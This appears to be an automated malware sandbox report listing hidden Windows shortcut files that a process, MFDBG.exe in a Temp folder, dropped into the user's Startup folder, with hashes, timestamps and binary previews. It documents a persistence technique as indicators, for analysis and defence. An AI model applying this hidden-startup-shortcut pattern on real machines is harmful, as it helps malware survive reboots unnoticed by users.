Preview:	L..................F...."...]W%.{....G).{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b51e93500c44739858f635b733c3ac6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940838798713236
Encrypted:	false
SSDEEP:	24:8+hBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Um0R6rMhpBoUBxdRd1nYyg
MD5:	0800748109776DE3A9238595F6CF305E
SHA1:	17B60DA8A567E5BDB7E1211AC8E635C648F9768E
SHA-256:	DE76DCFC29AF2BDE280765345E94F49E566FE0E3D492EE42035F5D5A9BD323DC
SHA-512:	9C6CC1044D0B194E2FB10739828652B20465D3A99BE304E634F5B6BE13C1E9505531099DA5294C933F5272E2EB9C84AC335F954CB74AE7220715B6867072F058
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....x..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0b8a004423424b29bd11acdd7980fc3b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941847826931498
Encrypted:	false
SSDEEP:	24:8zmhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8zsU0R6rMhpBoUBxdRd1nYyg
MD5:	5F42A92B2DF08AD84DE9523D3F353BD4
SHA1:	A6778E853C5A22758D7EB5EB8AFC25FF81368FFF
SHA-256:	C71840D9C866706746942ACDFDBBC304FF43113C2403DB13B4FD15D5B4ED5F80
SHA-512:	EB886DE17881C9C6BD07F543D1296F8FDE5482C228C9775400FE3F3BE972D69B414F9D384F840104C63EEE2C28197C82FD750C7C395482126D56E8EBBD07A34D
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ba608ade7f149a28e2dfed050278f92.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9415038978340835
Encrypted:	false
SSDEEP:	24:8P9hBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8P9Z0R6rMhpBoUBxdRd1nYyg
MD5:	E848E7D21146A033C826C8966634B8B3
SHA1:	2724989DB1AF3A7DCFEE9FA2735E26FAF6B5611E
SHA-256:	077CAD83FCE446DD18FDFA9D36E3DCEC2CF08438215FE332FE8A10F89D545774
SHA-512:	73D96EADC62C630BA66243B8F76AE8D837043436BAC0DBDA1DDBF326461A2ADFEC19B1CDDF42B0A24F806028FFF19351852AF1D5E930D6D504AD707712575F27
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0bec5552a4ab40fc84862be029e3c5ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940750811514902
Encrypted:	false
SSDEEP:	24:8ahBf9l8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QA0R6rMhpBoUBxdRd1nYyg
MD5:	90358003F74468EF37FA36CFAFF629AB
SHA1:	FBE127766CBD72394EAE07091BAC58C0808832B8
SHA-256:	AD3E7B4461DD60C502FBF70E43E9225942BEDEFF8FEE5B711235CE9375F0512C
SHA-512:	87F342B5A20E2E4EB4805A6A6F119A82A5EBCF979E68813410E67D389758A921E88B61CCE43BA1F294ED4F89DE706A68B87415761B8C9C92CFE5C889E8761E37
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...J...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c284546fc6b48aea0639b9a626a6e98.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935570328330978
Encrypted:	false
SSDEEP:	24:8GhBfOe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Mm0R6rMhpBoUBxdRd1nYyg
MD5:	08D3F1A23596D2D624A3562D4941473E
SHA1:	0FA17702E165ED95B71EA2F960C6847F70AE3ECE
SHA-256:	B36A5080608396798C6427283EC952365A417031E177A710A0270A68272DC3BB
SHA-512:	8850A9DA657528FD43D2378938F019996863BBF8DB4625A989A662EC14E6D067D0ACE8F633E643B5A888D990C62883A17F9F43CC9CD9B4FD87B8525C38D5CF7A
Malicious:	false
Preview:	L..................F...."...]W%.{...S...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c4f885cea60472bafbb9885dd908da4.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936706678945931
Encrypted:	false
SSDEEP:	24:87hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/70R6rMhpBoUBxdRd1nYyg
MD5:	83434858530AA6731AECCFF68C50A6D9
SHA1:	29CC8394F6B97DB2A28B0C3BDD5659B8502EC88C
SHA-256:	D7D57990255066E7156A728061A75645BA05066D43CAE457700CD851C3A359BB
SHA-512:	AF68A3FAF0DC32D592E45F597F851285D9F530A0A10554F61EE58A41CABBCD90DAAF0755A0AA02C32AA8ED4F12B77FBA8B8A3C24F9C1337712DBD85156B9264A
Malicious:	false
Preview:	L..................F...."...]W%.{.....f.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c6462c6e24b4b43a78b2fc82968f9ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935673689324791
Encrypted:	false
SSDEEP:	24:8ShBfS8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Y30R6rMhpBoUBxdRd1nYyg
MD5:	5C5E47B01770EF2AEB2185DE1569DAFB
SHA1:	C15DA3AC2712D3D774126C4D83C33E80E9FB6464
SHA-256:	A8D228680D37389C5AB1E6AB9468C867ACF7094C2B8DC554D7DED1CA76B665DB
SHA-512:	2249A0B15FBF73D2F3F6020F80D3C772FA2BEE0979FA5DF772B58AD5D2AD1E4F99B48401340AFB4BF82C2DAC2FC7505CEF2B8FC793FCBE895AC96A92C439FA86
Malicious:	false
Preview:	L..................F...."...]W%.{...0L*.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...@`..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0ccbdc2a47784fbea67c714995b9e370.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:08 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935464467902566
Encrypted:	false
SSDEEP:	24:8hhBfB8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Re0R6rMhpBoUBxdRd1nYyg
MD5:	2CCFF03C0ED9406DEC3CE65E967E30C1
SHA1:	7B827F549B2FC9906885A51FFD243EA7C27CA18E
SHA-256:	D5C8B273BACD4E6C58A347AD806038ABEEC045FE4BC75B34AE9E53AA6414671E
SHA-512:	8588A33ED775D69626431408E5BFF31124792FF47DB7E4B4FF09A58A413A8C6A01386EB2B289BB807E6CB593BC32E5F06A9203FCFD7487CD4D5760A4C51D3F45
Malicious:	false
Preview:	L..................F...."...]W%.{...q.<.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...q.<.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0cd1473aef6b4f7caeb6929298d6e14d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934507493164965
Encrypted:	false
SSDEEP:	24:8DhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83lc0R6rMhpBoUBxdRd1nYyg
MD5:	04D2CBA3C920557312DCB2FB8D06FC89
SHA1:	15FA380649DC9AFF289392DE25C87D3A17F2631A
SHA-256:	1697850B43F18266FC7BC81564593B7491EEA999BA95F396582C163407009936
SHA-512:	1267D939A4C28F12810E9976DABEEA0F9B12ECA89324012FBB396A54E5290F0193E98FE108478CF7743E5AC0C724A4A8FD48CDFB5E697BF8CEB76F520B4CB882
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0d7b2097bc4e49068880fcce920b5a42.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941182727810647
Encrypted:	false
SSDEEP:	24:8xhBfJe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BF0R6rMhpBoUBxdRd1nYyg
MD5:	EC98089FFD9944B43EC8F30340B20896
SHA1:	CC27BC59EEC74C76FB5E8381E6686E8516168E7A
SHA-256:	A443C97FA54B0F205164A672A150BFA222AEFFAE4733A55E5971D67BF0423C15
SHA-512:	F396A8782BFBE83F475C6C58C3365477E261DF7B442DB32C14339D6FCE2FD6AE82D92C646D4E716A31A9CB84D3C5226CAB1BA8112824C4D1C33D443655F05131
Malicious:	false
Preview:	L..................F...."...]W%.{.....d.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....].\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0deeed9c7c6b41bab18215a90aba7ccb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:55 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94321730970414
Encrypted:	false
SSDEEP:	24:8lGhBf08iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lMZ0R6rMhpBoUBxdRd1nYyg
MD5:	835FCCC4CFF0FF165967835B6E67AD8F
SHA1:	A6F003771886183764885427BEA24DADADB312CE
SHA-256:	0ABE57FF541BB51002D041D43AA8506C4C28053D374222CB919309E647633145
SHA-512:	AA5C2A3B3C0FCA984DFB6BA99A314C5B2B57E90359A6B461ED901BE060346863609C3A8E561E0264E9E1EA0A10A842F892ABA9BDE453DF80D555126723CC1383
Malicious:	false
Preview:	L..................F...."...]W%.{...Y...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e298dcf407b4a058d7c296bbab771fb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939764542370615
Encrypted:	false
SSDEEP:	24:80hBfM8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82x0R6rMhpBoUBxdRd1nYyg
MD5:	EBDF3F3B2F01FF3DEAD69B9013683AAA
SHA1:	7BBBC98CF6F4A08BB7ED42AA43E7B28955E27ABE
SHA-256:	8A9EC07189865B1281AD3B364FBCB0382A3107390D43DAE5B2CBCF32400B157B
SHA-512:	A69F608627FD7B870DA67BE3B0B2BA494FC687648714B8F49AAD2D03203826581ACF8B61CBF7ABE8E32096CFAF4BF2C939B192E3CC5FB79A63DA59D32B6A4F5D
Malicious:	false
Preview:	L..................F...."...]W%.{...).R.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0e69ef1567d248a1a5403ac89de9f57e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928036146937697
Encrypted:	false
SSDEEP:	24:8lPhBfvl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8lT3C0R6rMhpBoUBxdRd1nYyg
MD5:	A3BB5D1049AE2A169F24842081385197
SHA1:	B983F6A925265B974C7131C0D23D6F1C49227037
SHA-256:	801CE3EC5B16F8599E34F87DE24D4667FD7CEBB62D5D586588C40D6F7D4AC081
SHA-512:	11D76E8BC919DB3784CBA53C5196554EE3192C60F180A5F084859EA31A49FB7B58819BE416AFFB9CC55BC9A0D98C2A5C526DE1BCE9EF4C00CB6013109450CDAA
Malicious:	false
